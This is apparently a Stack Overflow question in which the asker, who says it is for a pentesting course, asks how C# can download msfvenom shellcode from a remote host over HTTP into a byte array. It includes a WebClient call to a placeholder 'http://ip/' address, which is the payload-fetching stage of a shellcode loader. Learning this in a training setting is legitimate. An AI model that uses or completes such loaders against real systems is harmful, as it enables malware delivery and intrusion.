0

I have a text file on a remote box, that I want to fetch over http, and place into a byte array.

The remote file looks like this:

byte[] buf = new byte[510] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,...};

I can modify it to a format that would be easier to handle.

I have tried

WebClient wc = new WebClient();
buf = wc.DownloadData("http://ip/csharp.txt");

What's the best way of going about this? Note I'm not looking to convert the text to bytes, I'm looking for c# to interpret the bytes already in the text file, and place them in a byte array.

bobo
  • 33
  • 6
  • *"I have tried: ..."* So, did it work? If yes, what is your question? If no, what happened? – Heinzi Apr 02 '22 at 16:55
  • It just fetches the string, and then converts the literal strings into bytes, which is not what I'm looking for. Better question would be how to get C# to "interpret" the bytes that are already declared, if possible – bobo Apr 02 '22 at 16:58
  • Ah, so your remote file contains literal *C# code*? That makes matters a lot more complicated. Can't you just write the byte array to a file (e.g. using `File.WriteAllBytes`) and then put *this* file on the web server? That would be *"a format that would be easier to handle"*. If you do that, your original code should work. – Heinzi Apr 02 '22 at 17:00
  • The upstream application that creates the output only has a few output formats that could help. One is Csharp, the other is a raw hex stream. Upstream application is msfvenom which outputs raw shellcode, https://www.offensive-security.com/metasploit-unleashed/msfvenom/ – bobo Apr 02 '22 at 17:02
  • 1
    Yes, a raw hex string would be easier. If your data is stored like this `fc4883...`, you can download the file with `wc.DownloadString` and then [convert the hex string into a byte array](https://stackoverflow.com/q/321370/87698). – Heinzi Apr 02 '22 at 17:03
  • 1
    Uh... please tell me you're not doing this to develop malware... – Heinzi Apr 02 '22 at 17:05
  • 1
    Nope, a pentesting course, and that was the solution. Ingest as hex, and then convert hex to byte array. – bobo Apr 02 '22 at 17:11
  • Answer would be export as raw hex and then convert to byte array. https://stackoverflow.com/questions/321370/how-can-i-convert-a-hex-string-to-a-byte-array – bobo Apr 02 '22 at 17:12

0 Answers0